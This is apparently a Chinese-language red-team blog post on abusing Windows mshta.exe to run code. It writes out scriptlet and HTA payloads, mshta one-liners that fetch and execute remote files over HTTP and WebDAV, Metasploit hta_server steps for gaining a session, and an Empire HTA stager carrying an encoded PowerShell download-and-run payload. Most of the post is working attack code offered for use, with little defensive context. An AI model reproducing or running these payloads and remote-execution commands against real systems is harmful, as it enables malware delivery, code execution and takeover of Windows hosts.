Mshta 1 year ago red.ghostwolflab.com 3 minutes mshta是一个命令行工具,它用来执行HTML应用程序(HTA)文件,HTA文件是一种使用HTML,CSS和JavaScript编写的应用程序,它们可以在Windows系统上运行,而不需要浏览器。mshta.exe文件通常位于%systemroot%System32文件夹中。 编写payload.sct文件如下: <?XML version="1.0"?> <scriptlet> <registration description="Desc" progid="Progid" version="0" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration> <public> <method name="Exec"></method> </public> <script language="JScript"> <![CDATA[ function Exec() { var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); } ]]> </script> </scriptlet> 编写payload.hta文件如下: <html> <head> <HTA:APPLICATION ID="HelloExample"> <script language="jscript"> var c = "cmd.exe /c calc.exe"; new ActiveXObject('WScript.Shell').Run(c); </script> </head> <body> <script>self.close();</script> </body> </html> 多种调用方式: # 从网络下载 mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) mshta http://webserver/payload.hta # 从WebDAV客户端执行 mshta \\webdavserver\folder\payload.hta Metasploit 使用Metasploit生成payload可使用以下命令: msf6 > use exploit/windows/misc/hta_server msf6 exploit(windows/misc/hta_server) > set lhost 192.168.8.145 msf6 exploit(windows/misc/hta_server) > exploit 执行后会生成对应的地址: 在Windows主机中运行以下命令,即可获取到会话: mshta.exe http://192.168.8.145:8080/CuXY9MC8.hta Empire 先创建监听器 在创建stager处选择windows/hta并选择对应监听器即可: 生成完毕后,右键会复制生成的代码,将其保存到网页目录中即可。 <html><head><script>var c= 'powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABp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wBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACsAJAB0ACkAOwAkAGkAdgA9ACQAZABhAHQAYQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQAZABhAHQAYQBbADQALgAuACQAZABhAHQAYQAuAGwAZQBuAGcAdABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQByAFsAXQBdACgAJgAgACQAUgAgACQAZABhAHQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA' new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html> Windows主机运行以下命令,即可获取到会话: mshta.exe http://192.168.8.145/hta.hta 可利用的仓库地址 https://github.com/mdsecactivebreach/CACTUSTORCH